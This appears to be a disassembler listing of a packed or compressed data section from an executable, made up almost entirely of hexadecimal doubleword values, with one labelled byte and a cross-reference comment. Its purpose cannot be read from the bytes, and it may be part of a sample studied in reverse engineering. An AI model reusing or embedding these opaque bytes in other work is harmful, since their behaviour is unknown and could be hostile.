dd 162D662Dh, 85EC7F6Fh, 0EC731701h, 0C48BC82Bh, 8BE18B0Ch
dd 0B748C8F1h, 0C33140C1h, 8C88804Fh, 8CC8869Fh, 60B8E999h
dd 0C96F6029h, 3A1D77C9h, 88C813h, 0F4F7284Ah, 19930520h
dd 7E1680E1h, 0D03DCC39h, 271B34F7h, 6F5085A8h, 0DF1B4820h
dd 0D97972Eh, 2C32132Bh, 2A7410DCh, 4BCB3580h, 6C1C2F7Ch
dd 0CB203A27h, 142FD6E5h, 30585811h, 0AC765CDAh, 132B805Fh
dd 0E8112898h, 578C2089h, 9F7202A6h, 0E6B5BFE5h, 6D029709h
dd 70636D65h, 65739979h, 97FCB3B9h, 7302BE74h, 656C7274h
dd 0C302C56Eh, 6BCFDD3Bh, 1D616309h, 0D3A631BAh, 3F7FB76Ch
dd 5940333Fh, 2505841h, 0F0F5A40h, 0F837FD32h, 0F490E3Ah
dd 7865AACAh, 74706563h, 6EDD685Fh, 725243D1h, 43023DC1h
dd 0ADB3696Fh, 491BB2FDh, 7878435Fh, 48758546h, 0DEA3781Dh
dd 4513AF0Ah, 6C825F48h, 0BD42676Fh, 0D0310B41h, 7B545243h
dd 3DB67D9Ch, 14E4957h, 38F0C45h, 0B6418A6Ch, 7933DEE0h
dd 240BAA0Bh, 76A83743h, 0BDBFB542h, 54600D60h, 7474DEDBh
dd 6FD35265h, 0B7BA8105h, 37FFDB6h, 0E697257h, 73966250h
dd 721B4D73h, 0EED7FB9Bh, 470189C7h, 644113F6h, 11177264h
dd 0A5D82E67h, 6C75213Ah, 0D8095F4Fh, 356FFDAh, 74726956h
dd 416C6175h, 84452A84h, 751CC10Ah, 4C310261h, 0EA9BB535h
dd 695433FFh, 6F436B63h, 2074E75h, 86B60649h, 2BD5AEEDh
dd 2E64656Bh, 97670363h, 0C04AEB57h, 50754D41h, 930F6555h
dd 0A1364DEAh, 0DAD1452Fh, 5961FDFEh, 6C5F0388h, 0F500DB63h
dd 461D5302h, 0A56DBC80h, 0D6D6710h, 9E47014Fh, 8BDD70E0h
dd 0B8F6F25h, 0D5797021h, 0A66BF6B6h, 0F795323h, 1EBE44EBh
dd 0C5AE6ECh, 27316F1h, 4E32335Bh, 26B2BB6h, 497530D7h
dd 0E6C8718Ch, 6525CB68h, 0DF68AD06h, 6F70AA96h, 1870B0A3h
dd 70616E53h, 46DD6B61h, 0D51B6F28h, 1E627F43h, 82DB784Bh
dd 6D654144h, 0BB4645DBh, 4EA57C33h, 32915EAh, 37140B53h
dd 0EC16D8h, 6E1A2FDAh, 0F92FD230h, 0D5AACD86h, 0C85AC3ACh
dd 4CF2DAD6h, 11A04561h, 66F74685h, 76453B9Dh, 0F4A1FAEh
dd 0C2B46064h, 7F7AAEh, 49FB6544h, 671E886Fh, 4C76D6D5h
dd 1F31E500h, 80007965h, 2ED56137h, 5DC88702h, 13868D96h
dd 6592453Ch, 4466123h, 68D80160h, 426C2553h, 0F8D4CF75h
dd 4902A900h, 2DEB721Ch, 0AD6C735Bh, 430A7043h, 53C2694Ch
dd 7386C9BDh, 765F3D21h, 4B08C288h, 9F79D528h, 0F436BBF1h
dd 0FF501C68h, 45007D18h, 0F6532EDBh, 69694508h, 9F685C64h
dd 428DB76Ah, 146C2767h, 0CA267942h, 55D1CE6Eh, 6927284Fh
dd 330787Ah, 9B556309h, 6AB00F45h, 0F8DFE9h, 3C52454Bh
dd 5D0BC74Ch, 2D870A9h, 6682635Dh, 0C2187B71h, 0FC80258Ch
dd 0E9C371D6h, 65061789h, 64D07267h, 3B36ED25h, 0E3007Ch
dd 553F0CAFh, 76B65A53h, 1C5761E1h, 756AF900h, 0B06BB3EEh
dd 149C009Dh, 17D73B7h, 0ADC936C3h, 7075126Fh, 0A7759656h
dd 6901621Eh, 343D01A8h, 16F0528Bh, 0C620D48Eh, 0F8A9654Bh
dd 4336440Dh, 9A3034CCh
dd 0D6D8CC1Fh, 20EC3BDFh, 56444112h, 4B83496Fh, 25617942h
dd 27556F43h, 67856C11h, 47300F66h, 390F5475h, 0D6036B0Dh
dd 916F1F49h, 5160AE3Ch, 0FFCE0084h, 3F50DFD6h, 60335C33h
dd 3A336C33h, 3380337Ch, 0FF90338Ch, 33FF06FFh, 33B933AFh
dd 1BEB33C4h, 22340934h, 53343134h, 79345A34h, 0FF348434h
dd 0A8FFFFFFh, 0CC34BB34h, 634F634h, 31352B35h, 4E353B35h
dd 7D355D35h, 8E358835h, 9D359335h, 0FF35A735h, 0B4FFFFFFh
dd 0EA35D335h, 1035F535h, 40363536h, 5B364836h, 66366136h
dd 90367736h, 0AB369736h, 0FF36B236h, 0C2FFFFFFh, 0E636D136h
dd 18370436h, 2A372337h, 53373937h, 6F376837h, 0F237C237h
dd 6937F937h, 5638B738h, 0CCFFFFFFh, 0EB38DE38h, 2938FF38h
dd 5C395039h, 94398039h, 0A5399A39h, 0A539B839h, 0FFFFFFFFh
dd 39CB39C5h, 39D839D2h, 39E539E0h, 3A0D39F8h, 3A4F3A48h
dd 3A923A84h, 3AE43AA5h, 0FF3F3AEDh, 3BF16FFFh, 0E273C12h
dd 3F3C383Ch, 0A33C5E3Ch, 0BE3CB13Ch, 43CF23Ch, 0FF3DC73Dh
dd 0E5FFFFFFh, 133DF53Dh, 343E183Eh, 793E3A3Eh, 983E7F3Eh
dd 503EE93Eh, 643F573Fh, 7B3F6B3Fh, 3F3F863Fh, 98FFC34Ah
dd 0D13FCB3Fh, 0F13FEC3Fh, 73200F3Fh, 0FFFE302Ah, 31B0FFFFh
dd 330A31B5h, 332A3320h, 33B03337h, 355333B5h, 36153566h
dd 3633362Ch, 3657364Ah, 0FFFFFFDCh, 36ECC3EFh, 37B43758h
dd 37F437C8h, 383637FAh, 38473840h, 38873859h, 38A03899h
dd 0BFFF38A6h, 38ACFFFBh, 38B838B2h, 38C438BEh, 0D1D838D2h
dd 39283922h, 393D392Eh, 39683951h, 40043984h, 3990E358h
dd 9200F0ACh, 0FF8A1281h, 0FF65F7D0h, 0D00F75ABh, 0BE6E3149h
dd 1ABF031Ah, 37DD0715h, 4D687CDFh, 37361AADh, 3F1AB44Dh
dd 1AB868F6h, 4F522730h, 69E71464h, 5076863h, 0B535F700h
dd 727CE4B9h, 31400140h, 2EB079Fh, 97139ABEh, 0D2C31A0h
dd 0E9D8C80Bh, 403F601h, 7BC51927h, 0CA3BA0F2h, 0DB0725FEh
dd 7C538A31h, 34603A30h, 0CEC2689Fh, 0E00492BDh, 304F2338h
dd 0BC28A703h, 831CC840h, 2A7676A9h, 295407A3h, 0A207602Bh
dd 7628C2Dh, 642B3B92h, 7461525Eh, 80FBE761h, 46435307h
dd 0D8C80731h, 58DD65B2h, 2307AF54h, 0B34F072Ch, 0E21D0A8Dh
dd 0D19F2Eh, 98A323EBh, 780F37Dh, 60E13B57h, 2B27F14h
dd 0ED07C003h, 7F314651h, 0EB0332E2h, 0ACB36CEh, 32F61833h
dd 0AA0BC013h, 9A69A603h, 60DE94A6h, 0B2C8384Ah, 10FA9AEBh
dd 7A8B267Fh, 34D34433h, 3BC6375Dh, 7E9603B2h, 34D3656Ah
dd 2E3E5E4Dh, 9A31FE16h, 0E69A69A6h, 8CA6B8D0h, 9630E374h
dd 93315C6Dh, 0DF27025Bh, 4AA40414h, 83535126h, 722EFFC9h
dd 0C1F954BFh, 20BB5051h, 0EAB75F20h, 0C5FC821Fh, 7D8B2856h
dd 88B9C5FCh, 778297D4h, 0F3C0332Eh, 358B5DABh, 0B73D0328h
dd 88A06E89h, 0E88845E4h, 6C8C1405h, 0E08EE93h, 0D8D41DE4h
dd 872321C8h, 78DCD4D8h, 0E0C87632h, 5DC0EE0h, 0EF92E4ECh
dd 0AD6E123h, 0B9FFF4FCh, 0C0839EC1h, 0AC04133Ch, 33FC4EA6h
dd 0B78239F6h, 0F875F772h, 68144875h, 382205FCh, 0CCD6646Ah
dd 0C4C83DF7h, 13221B22h, 333BEF18h, 1C1634D9h, 0FF147414h
dd 500F3870h, 1682BAFBh, 1009FC8Bh, 0A214EAh, 0E0CCBE7Ch
dd 0E14BF8D8h, 0CC86192Eh, 0F105F7Dh, 1CA8EB7h, 70AC763Fh
dd 8D282A21h, 3B07F1BEh, 0C81274C7h, 8BFFEEF6h, 88B0450h
dd 890A8950h, 441B0451h, 1DE8EB5Eh, 3D8FB7D4h, 588D3F72h
dd 3D831FC4h, 4192C60h, 5B6F4175h, 4E8D0CF1h, 0B02BA3Ch
dd 0CD404688h, 0A1DB0FD8h, 0C91AD24Ch, 1D40568Ah, 23D9EBA0h
dd 4ABBB640h, 0EE76FFDCh, 0B67E10E1h, 8D2E3407h, 354F4786h
dd 528FB10Ch, 0DC560114h, 141AFF03h, 0D10E87A9h, 85F88B2Eh
dd 55B41FFFh, 8A973F3h, 186783h, 11C47C7h, 73750DE1h, 6240600h
dd 8D0E460Dh, 4F8FB28Eh, 4789FBC7h, 9E258A20h, 0F7768688h
dd 1A67F6B7h, 8904438Bh, 38041F1Fh, 8A047B89h, 0DB361896h
dd 0AC97B367h, 0D0157505h, 8E760040h, 47585EECh, 0C4B6FF4Dh
dd 7607EB0Bh, 1B1C3658h, 8550A536h, 0E1803D07h, 9B3C2F34h
dd 636951CDh, 7194F8Bh, 66C60189h, 4889DEC9h, 0C260735Ah
dd 6E7B645Eh, 0B2ABC7C0h, 0B008B6C4h, 0CDDD3399h, 5AD0BD02h
dd 0B6579D83h, 0F21D8BB8h, 2B0AB84Dh, 2AC38011h, 2B5906FBh
dd 0D31EC01Bh, 0D0DF0BB9h, 8E5D8D30h, 247C83CCh, 0E10FD308h
dd 99012DFEh, 8B470Ch, 0A06B08A3h, 0B1B6C058h, 96CCC9C2h
dd 60170DD7h, 0BFB89A4Bh, 0EDB79BBh, 5E8B7FE0h, 0E3B8060h
dd 4B8B4475h, 0C2538BF8h, 0F0176D4Dh, 0C0BF0B7h, 0F981FF33h
dd 0F445D9E0h, 9BD2C410h, 4174F8EDh, 3974E40Dh, 52FB5D8Dh
dd 4DBB75FBh, 7751509Ah, 9643E50h, 4B0DBF51h, 0D2EA97E0h
dd 89D2322Fh, 4689187Eh, 768B301Ch, 8BC4C225h, 0D9F044C7h
dd 51CD16F0h, 4C6030FFh, 0EDCA7454h, 6B9F2D23h, 58F685F0h
dd 46C60CDBh, 0BF63DB64h, 6846DDFBh, 44B3B89h, 153C850Fh
dd 0F0DF983h, 0F41E3382h, 1A37DB37h, 0CC255D8h, 2210CA3Bh
dd 16F87D81h, 9F7FC1EAh, 46C70975h, 6673C618h, 0D85C23F6h
dd 8D1A8BE3h, 1C4E719Fh, 50C488Dh, 0F6DBE106h, 0D7408B20h
dd 892455CBh, 874AEC5Dh, 46BFB16Fh, 878D928Fh, 6F42BE4h
dd 0C6783189h, 7089C2C8h, 13CB9756h, 42005D8Bh, 430F585Bh
dd 0BAC6481Dh, 0CD20CD2Ch, 7746B746h, 0D52B6857h, 0F7B910F9h
dd 6185C1DBh, 3135170Bh, 0AC0C1DF4h, 8A0D0B2Ah, 3BE4B574h
dd 0B5A1286Eh, 4189DB80h, 49F0459Ch, 61704444h, 0E689E086h
dd 76704EA6h, 6F1B272h, 569BEC97h, 88609F2Ch, 0CB73C5F5h
dd 0EE437389h, 0C68762CDh, 26572278h, 8BE0861h, 0C5DF169Fh
dd 0BDDB6205h, 1CBB1424h, 0DE778BC8h, 9399CC3Eh, 0CF17DCDh
dd 10020C39h, 0B3E1D3B8h, 5751CEBh, 0A3030BE8h, 0E04AEB30h
dd 0D866CF6Ch, 0D12DD56h, 56CCC941h, 0AF492043h, 25163C6Bh
dd 5D410052h, 490D5203h, 732F9Ah, 57005F1Bh, 24C15B4Eh
dd 0D1102405h, 1BA2DC08h, 8D7A5070h, 538A305Eh, 0BBA14566h
dd 0AFC45h, 0F33BFA05h, 0B90BB5D9h, 121C0972h, 0EF20CF0h
dd 64F3E6CDh, 18E87EF4h, 8EEC1AEAh, 8B5EC6FFh, 0C084D7F8h
dd 45AB2175h, 0F82140Ch, 7E85927h, 23350332h, 363B236Ch
dd 418A564Ch, 3F6EA48h, 11BB5B91h, 3F0B02C2h, 0E4880C06h
dd 10E7C8F3h, 0D8140E1Ah, 1C0BC018h, 0F9F9F9E4h, 103E2079h
dd 28137C24h, 9A2C0CC8h, 85AE1C0Dh, 2847663h, 85CC3A5Dh
dd 0DDFD0A66h, 0D62C144Ah, 641BADEEh, 20038B1Eh, 0E68A17Ch
dd 0FE420789h, 4D8F9F4h, 89047808h, 0C606EB3Dh, 1B03E42h
dd 9142A75Bh, 0C77F2Eh, 5D8E832Fh, 18069C6Bh, 2259344Bh
dd 6BDED942h, 31C2C0Bh, 389F1863h, 0EB3A9BB4h, 0B58FDE02h
dd 0F709BE56h, 0DF58878Ch, 5CA24CCEh, 9BDBB60Ch, 4EB89331h
dd 7D834B58h, 0FF21610Ch, 83D2C190h, 9D753E78h, 1EEBCE2Eh
dd 7E1840C7h, 3A7B115h, 35201556h, 78E0D22Fh, 40592A5Eh
dd 78100218h, 527EF7CCh, 8A1850ABh, 0A06D6015h, 22F62EB2h
dd 5672854Ah, 0C68C5873h, 0A274EB53h, 0ECEB36B2h, 0DD1CC631h
dd 5E75DE56h, 0C86C0628h, 0CAA37DEh, 72582834h, 0E223C36Bh
dd 4E57F85Dh, 0B51183E0h, 728F68C0h, 2E79D2FCh, 0B7E9FBC5h
dd 7B548FE4h
dd 0B86005EBh, 64568D72h, 7F740C55h, 7F89BFDBh, 80F0EB36h
dd 3700647Eh, 8B53684Eh, 418B6051h, 52305A6Ah, 810CE91Bh
dd 708AFFBh, 0C0A90DAEh, 0D8CFA285h, 0B22C0375h, 66A5F4ADh
dd 18B81058h, 0B08428Bh, 3495C807h, 0A95B7348h, 0EC1830FCh
dd 1029EB1Eh, 7DCDD08Ah, 0AB5C0461h, 0BBD402E0h, 9774CFEh
dd 2CF8190Fh, 0E3533F5Fh, 480F2C41h, 0DB85D8FCh, 0DFFFFCAEh
dd 2955F1D5h, 8FA8110h, 75400100h, 0E718D47h, 0A5247B8Dh
dd 288BA566h, 15AD5B10h, 765C3007h, 0DE90542Bh, 638369F3h
dd 0DB3019C4h, 0CEB1DAEh, 0F612201Ah, 0DD6EDC1h, 66040966h
dd 20A11407h, 95DD0B29h, 36EBED9Eh, 0D618094Eh, 0AB66AB4Dh
dd 0F3352BDBh, 0F63E2A07h, 0D80B1F42h, 143056CEh, 93ED0C27h
dd 947CDB1Ah, 51140A11h, 0DC38BC52h, 0E0DBC3DDh, 10AF930Ch
dd 14708D3Dh, 8070296h, 67D9D333h, 87DE8D59h, 8B212A1Ch
dd 0B2055590h, 57B216Fh, 5850D771h, 0DB2022EBh, 0F06D03Fh
dd 528B921Bh, 0F1218330h, 7E164C50h, 37694CB8h, 4513C50h
dd 2325833Ch, 9980F852h, 23183A00h, 0ECACAF4Fh, 0F18BD33Ch
dd 9F1DCF0Bh, 3BB90510h, 0F09688F9h, 3B60A5FCh, 80C73294h
dd 0C4788D52h, 5F0E7D3Bh, 407CA2h, 478B4097h, 0E869FC3Ch
dd 8708499h, 0A8576CD3h, 0E7035A1Dh, 8FE31CFEh, 0D77241D8h
dd 0D72A528Ah, 8C3118EBh, 0F246170h, 770C3D20h, 2F09DF24h
dd 3FF4BE0Ch, 0E33748A7h, 4AF4BEEFh, 0F77D89CFh, 5B3ADCB8h
dd 0F8B6B6FBh, 0E7B40118h, 0E141F6FCh, 0FBBB9AD7h, 0F3A6B674h
dd 1BEDB376h, 9A3A1948h, 0E2447F83h, 3661D051h, 0D3C11663h
dd 0B2311644h, 0E552D195h, 28F60D8Bh, 0D3E3A2BAh, 76A71E56h
dd 2254AA60h, 61A374E0h, 0A9F97FFFh, 8B3A6253h, 118BC14Dh
dd 674D285h, 108BC28Bh, 0E083F6EBh, 7BAE16C6h, 0A853B4F4h
dd 2F8EEB0Ah, 4B2D58EEh, 20830CA6h, 7682801Ah, 0CF132974h
dd 845114A0h, 0C39005EAh, 4D425638h, 0EF143F96h, 0BF76BEFh
dd 0D08699FFh, 460A06BAh, 637C5060h, 8CBB07BCh, 0BAA83986h
dd 34F4B3D3h, 670C10E3h, 3CA22464h, 2321A792h, 313F077h
dd 0DC5BF86Ch, 0D6A5C7Bh, 755A03FFh, 4BA58B19h, 0A17C112Ch
dd 7744A750h, 0E519722Dh, 67B6FB5Bh, 2A4B0306h, 18591CEBh
dd 488B0A73h, 0F82376CFh, 731477CEh, 13EB4F05h, 2D08401Dh
dd 66B41AD0h, 0A9EB232Ch, 0D5EADC1Bh, 148B2C0Bh, 0F67B3602h
dd 0BA6739C1h, 108FC16Bh, 13DC1084h, 36DCD85Fh, 18A508B3h
dd 27F7620h, 2DF8207Dh, 14045F2Dh, 34F46583h, 76FFFE62h
dd 40DBBF0Dh, 184D6889h, 0C33DD950h, 731C7D39h, 1BE86097h
dd 452BC7EBh, 4BA2B11Ch, 21FD3AB0h, 73FF4043h, 67DF7C38h
dd 46EC9EC5h, 40538A24h, 80F89927h, 800A0D7Fh, 2BBA528Bh
dd 0B2C9F475h, 4C4F7815h, 0EC343BC2h, 36360580h, 66342640h
dd 7565D81Dh, 5EB35E24h, 41BA68EBh, 6846A16Bh, 0C137C985h
dd 51D855C0h, 79834FEEh, 0E1A949F1h, 25746152h, 89540849h
dd 0CB6359B2h, 14E2E7C5h, 0DA850B78h, 8014F80Fh, 781A1C60h
dd 2155364Ch, 2E0A5F6h, 0E182A5F3h, 1DA4F303h, 0F600D270h
dd 7C8D0442h, 73D1A10h, 34FC07DBh, 608318B3h, 8CE4D48h
dd 631B6944h, 83882517h, 8B1055CFh, 1FBBB925h, 73838DF0h
dd 89113C4Ah, 0D4054042h, 691B133Eh, 0C1A00B3Ch, 30872D08h
dd 2E93AFB6h, 77F424CEh, 9A23AEF4h, 83C1C099h, 4C08448Dh
dd 4306085Eh, 7526291Fh, 20D83670h, 0EFE8F2D9h, 3874ECE8h
dd 48E96C3Eh, 0A27E5148h, 6EE6DF1Ch, 535C73F4h, 44342E54h
dd 88DB482Ch, 8E44A955h, 2770BF20h, 0F73B156Dh, 710CD0B3h
dd 743A3C39h, 0CC375BA4h, 4160DFA6h, 0C34049D3h, 0D83A46B2h
dd 2358BC4h, 0C8AAD6h, 0D79EC342h, 8CD308BAh, 29D63406h
dd 3F4A376Bh, 0F09C2C64h, 0B805EB30h, 23201C16h, 1CE12CD0h
dd 716C8409h, 15348308h, 23889404h, 269C0CCFh, 2CF6CA57h
dd 57090234h, 533F0C31h, 0E95AC1C1h, 14EB1B75h, 0C0EC35DBh
dd 0BEACD98Bh, 0DA2B2075h, 1393A572h, 0A4D88357h, 0DA12F8FBh
dd 522C1054h, 61022B74h, 0CDB4D9F1h, 3C75B02Dh, 0B6596CB2h
dd 2303C6Dh, 0ED24282Ch, 8587B06Eh, 0E62C1074h, 0DC622D2Ch
dd 511A05AAh, 823AD083h, 0FD099D6Fh, 0FAC28BFh, 28024FB7h
dd 0FA469AF5h, 0E3DD728h, 0C64B6361h, 21BBF65Bh, 0A028399Dh
dd 15B7095Ah, 8134080Eh, 0D6E66311h, 21F1DE5h, 0B5CA830Ah
dd 0B58B9EEBh, 5960168Ah, 88E62015h, 11CCC43h, 6D803BE0h
dd 7189C06Fh, 459890Bh, 1378C918h, 0CA4F61D8h, 1B22C857h
dd 8B154870h, 5C137207h, 9436D8C4h, 2F03B04Bh, 1BDB6CB2h
dd 1842A72Dh, 5A20056Ah, 0EDADC47Eh, 8B34883Bh, 0C23B8104h
dd 23B35C7Eh, 0EE578DF4h, 0B740368h, 81E9BE53h, 3C1BE756h
dd 1539E440h, 3E88FFDh, 8B250F85h, 6A8E2237h, 6177A13Dh
dd 59A258h, 0B38B01A0h, 0DDECA8D4h, 58BEF8Dh, 0FEBDC89h
dd 6A604324h, 7ED0211Ch, 0BEDAB01Bh, 0BF313990h, 6A3766CEh
dd 16758A15h, 3BB9EC63h, 231DF033h, 7136EC6Eh, 354D738Bh
dd 77096418h, 0DE7B574Dh, 58B65968h, 544C3005h, 1B1830B4h
dd 0D6CB2E46h, 5C480C18h, 1950AE54h, 345979ECh, 541A125Ch
dd 0AFFE1DB7h, 90E80DBBh, 4059D8Ch, 0C7445389h, 0A31C4800h
dd 291A7D2Bh, 0BEC63B01h, 44DB0293h, 0C77018EAh, 53067B43h
dd 10B7631Eh, 0A48EBA22h, 96F5C03Eh, 4CC6063Bh, 840C3421h
dd 0B9A0E512h, 5D146130h, 0BB354884h, 3526D721h, 29E80E2Ah
dd 0F758C907h, 78A6B259h, 916B570Ah, 0B58A8468h, 0F7B1875h
dd 29DE006Eh, 1A6FD40Ah, 7A8D1B6Ah, 9F075910h, 1858E02Ch
dd 0BFF3E14Dh, 2E1D7C06h, 105109C9h, 0A050984Eh, 991A3700h
dd 323243B7h, 46326B86h, 4DCE0CFCh, 398CA64Dh, 665BA360h
dd 0B6320AB4h, 0AD70D6Dh, 4A31AA64h, 77597A08h, 0D1DED8FBh
dd 0E0CA664Ah, 324B14AAh, 42C08571h, 0C681181h, 5FA8939Ch
dd 605C47ABh, 14B98F0Ch, 0D3CB428Eh, 530084F2h, 843B1931h
dd 5CBB800Eh, 0EC278A60h, 90A46ECCh, 8D8066E2h, 670A4E5Ch
dd 0C46E4145h, 0FA008897h, 25300C88h, 38EC8191h, 2BC41D10h
dd 125725CCh, 0CD6807BFh, 3304B9AEh, 0E6C3BAFFh, 0D89680D9h
dd 0FC04DCDAh, 3B3E6C9Eh, 0CA0CC812h, 0D010CC0Eh, 0D9910B18h
dd 0D41AD27Ch, 9466F820h, 36DD028h, 2CE213E0h, 0D5D40FD2h
dd 0A2531740h, 0A0083056h, 0C228656Dh, 995D8D57h, 0A7365B61h
dd 0C80A1ED6h, 0B7580C81h, 0D011CB21h, 500C83Bh, 0F6C8B7Dh
dd 11D83B18h, 788C3DB6h, 3FEE2284h, 0ECBA1F6Fh, 2004B809h
dd 7F0C8DF8h, 0B419E7C1h, 48EEC42Dh, 44D521C4h, 77F4DC07h
dd 56EFACE8h, 53BF773Ah, 8D458189h, 0D106DC60h, 0F6E0B541h
dd 96DE8C00h, 4D5B17A0h, 7D318BE0h, 4581C128h, 0AFAC99A0h
dd 0F4BBB9A2h, 0BAB60DFFh, 8DC2FF50h, 32B87373h, 6A9A2E89h
dd 7A8DDF00h, 0B6E5B5F8h, 0DF86675h, 3040883h, 96FB02ECh
dd 6F4D68Eh, 114279Dh, 0F0B41BE9h, 0B2176E6Dh, 5E377B85h
dd 460014F0h, 0FF1E19B9h, 0FEEE150Ch, 0A093A00Ch, 3889CABBh
dd 0C651E35Fh, 7BD41C31h, 6C6AE279h, 73718B8Ch, 0FE00F4Dh
dd 2CD3591Bh, 63A239A3h, 0FBC321C3h, 130C1A1Eh, 282B5AD1h
dd 8C140D71h, 26734182h, 0BA438364h, 0E017750Eh, 8308A80Eh
dd 9C383597h, 904C0D5Bh
dd 9BD2F893h, 8128481Ah, 0C401147Bh, 0B80775FCh, 0A6D834ACh
dd 4637EB2Ah, 0A445B957h, 93C5278h, 5304C053h, 735A01BDh
dd 682F8740h, 68F14CD9h, 9BBDFDC4h, 3B1D6A5Fh, 0BE4C8BBFh
dd 8193A354h, 7F061479h, 1AE00A1h, 81208D6Dh, 7605DC38h
dd 6854D005h, 6001B1Bh, 3C725E2Ch, 2FA39DDDh, 29665D14h
dd 19112830h, 9C9B584Ah, 582106EAh, 640611BAh, 0E8187151h
dd 49700E0Eh, 2117F67h, 589B7F08h, 57EE085h, 284A7427h
dd 0B952211Dh, 7A8D4D10h, 687D49C8h, 468C0C76h, 39578414h
dd 2BAB7EA4h, 46895F18h, 7C1E8B10h, 150FC0E0h, 0FAC38156h
dd 0B95E551Dh, 721FF87h, 60C38356h, 9AB8ECEBh, 1995ED51h
dd 73D64B18h, 7E748253h, 57DACCD5h, 0A577E434h, 0E830B89h
dd 0AA437632h, 7F478D47h, 9036FF47h, 80CC0BECh, 891840F1h
dd 87838147h, 579E9707h, 60579E7Ch, 0AC5A2DBDh, 0B43E8750h
dd 98057D68h, 6B3CA390h, 81E0663Ch, 0C683F06Eh, 7579FF04h
dd 450C4993h, 2D3218BEh, 1EF65810h, 712CD890h, 4650BE9Ch
dd 0D0480D8Bh, 0DFFBFEEh, 0D08A147Dh, 0C83B09B8h, 7541588h
dd 0FF065574h, 0EF3E1A2Dh, 98BC459h, 0F375DF3Bh, 944D1314h
dd 5379D61Bh, 9E976F9Bh, 56F98C35h, 1E47754Ch, 103844F0h
dd 0E1584B54h, 57184503h, 0C3C4DE1Ah, 0FDD7CA06h, 25340125h
dd 9710F750h, 18161CEBh, 0D58C102Eh, 44928733h, 0B618D126h
dd 1483553Ah, 42F84008h, 0A92F05A1h, 0D0EAB1CAh, 9CAB70BFh
dd 507C7589h, 0E4E8DF2h, 58EE5589h, 0E6ED1B75h, 0A5A3D35h
dd 829505B8h, 0BA8083B0h, 9C518C49h, 1C107B9h, 860F5581h
dd 0A09B0597h, 4E8F0483h, 2A748EEAh, 607EC0E5h, 7480350Fh
dd 0CA061F1Ah, 0AA3162Ah, 2A895327h, 2654F7C0h, 0E177C928h
dd 9E4A7461h, 1274F446h, 58A9649Dh, 5847388Ch, 64B7E0F4h
dd 4F30F400h, 5598430Ch, 0D0278DCAh, 0BA1F7827h, 0BCA23DD7h
dd 3104CA1h, 0A9422A7Ah, 81E045C7h, 0DD08A840h, 8A5414B0h
dd 0DF8E76E5h, 0A33772D6h, 0B9D3FF2Dh, 2E0E6A1Fh, 8F3447B4h
dd 41D60A23h, 0A256C51Eh, 315921ADh, 57361087h, 1C6EB780h
dd 150F04BDh, 0D7374450h, 9517F3Ah, 0D0B0FA0Ch, 8A99A266h
dd 0D54C5304h, 9037BE87h, 0A46FC25Ah, 0C7B2FFD3h, 3AC10D10h
dd 521FEB34h, 0C1D95152h, 387D6A78h, 3056D951h
db 8, 0C9h
db 0Eh
byte_444E5F db 3 ; DATA XREF: .text:off_446A89o
dd 345653BFh, 2251FA5h, 8CB000E0h, 0D41C27E7h, 80E53AA1h
dd 3C2D6DBFh, 0F0B31EAh, 0F3DC6887h, 71880C60h, 5F04D947h
dd 985A1039h, 8AE1A4Dh, 8123FCD0h, 590C86D7h, 26F011FCh
dd 420C9C87h, 0FCFCF8E4h, 2D812B3Bh, 0D28F5D3Ah, 0C61EE155h
dd 2C4B0C00h, 0C80CC9D8h, 8080C81h, 0E59193DDh, 80F1463h
dd 88E408F8h, 8BF8F253h, 0B38DF84Eh, 0E21D6803h, 855DB93h
dd 9BA68388h, 0F9A5E59h, 842D42Ah, 9E084A89h, 11AF1C01h
dd 2B651471h, 926F19B8h, 0C7F45E9h, 0D620D5C7h, 454CC803h
dd 10F2D2C2h, 38BAF3E0h, 1E770C7Eh, 9F210394h, 0CB113108h
dd 17212162h, 2156D48Ah, 39097EBEh, 0C9347C50h, 73C2D8F3h
dd 7F04DA2Dh, 1EBEC017h, 0E1449C48h, 0D90D74CEh, 897B7091h
dd 74C2E36Fh, 3B67B893h, 8740C20h, 77360F35h, 0EB8FECABh
dd 0A9658D8h, 0B299219Fh, 41431F07h, 810E4112h, 0FE0F5C25h
dd 81F46D93h, 43037759h, 97D75860h, 0C33490C1h, 0AF4476CCh
dd 3B21D9B0h, 0EC98AF6Dh, 9A401AA3h, 75095C00h, 84683DECh
dd 0B75D4E15h, 161C90EDh, 3B0A264Ah, 9A69362Eh, 0F29B08B1h
dd 6DF30CDEh, 2901C90Ch, 0A7581B0Dh, 0DB933491h, 473DDBEFh
dd 0E944C298h, 308DF586h, 69CF0E44h, 992A2D16h, 5314E30Ch
dd 0B8DDC075h, 60140773h, 75727E80h, 2ED21A4Eh, 398756E8h
dd 7495D233h, 0CA0C7930h, 0C048C4B1h, 6F4DB94Dh, 167AB7F7h
dd 58EC588Bh, 0FFE38110h, 0B8C4C0Fh, 6F750806h, 7E0C9B1Bh
dd 4A47D103h, 0F56B1ED2h, 147EE82Dh, 0C61689B9h, 0B85A9246h
dd 53B78FDh, 3EB1454h, 4948C8DEh, 235C1976h, 1925A75h
dd 2A3A1058h, 366FB76Bh, 754FFC8Ch, 796683EAh, 19866680h
dd 1B5024B6h, 3C17C252h, 17C4B618h, 3956BA02h, 1871105Dh
dd 7D9F2BCBh, 83E34C1h, 718B08CEh, 759CDF45h, 0D375615Dh
dd 5814D214h, 751C5938h, 6DBB5B50h, 5D1D41C1h, 804CEF8h
dd 6A976FDFh, 1450F3CEh, 0F8550148h, 5AD2D33Bh, 0C84E476Bh
dd 139418EBh, 0D4230CEAh, 0B6EFA5A6h, 0EBB3FFFAh, 2139D3CAh
dd 0FDFA8F14h, 4056F61h, 16D641C6h, 50646F6h, 5BEB0CDCh
dd 4A878AE7h, 56E48EF8h, 0E6E5C060h, 14A86C5Ah, 89AAADE1h
dd 0DDB2AF00h, 8B2D6B77h, 0A5F33B36h, 0EB3C7C74h, 4B77EDCFh
dd 3D743E75h, 77147255h, 29C28B02h, 0BB76E06h, 13D02BDFh
dd 0A4EB9704h, 1BA0744Dh, 172B7610h, 4EFD686h, 3DD2F3DBh
dd 368DB6Bh, 0CD4D9ADh, 1229CB27h, 18AB9AB4h, 202CC22Ah
dd 86DABB48h, 37110115h, 0B54B4E86h, 0CAAAC243h, 46658714h
dd 0BDAB1F6Fh, 59066A57h, 56FE8B14h, 10E340B8h, 0D2991B4h
dd 0CD6ACC2Dh, 6DC4A3EEh, 156614A0h, 12B302B6h, 241E088h
dd 50D75062h, 29C533Ch, 6FCC0CEEh, 7E8D1EFEh, 1FD06608h
dd 465459C0h, 568AE8EBh, 7ADB8069h, 0E52ECE0Fh, 0E7BD3114h
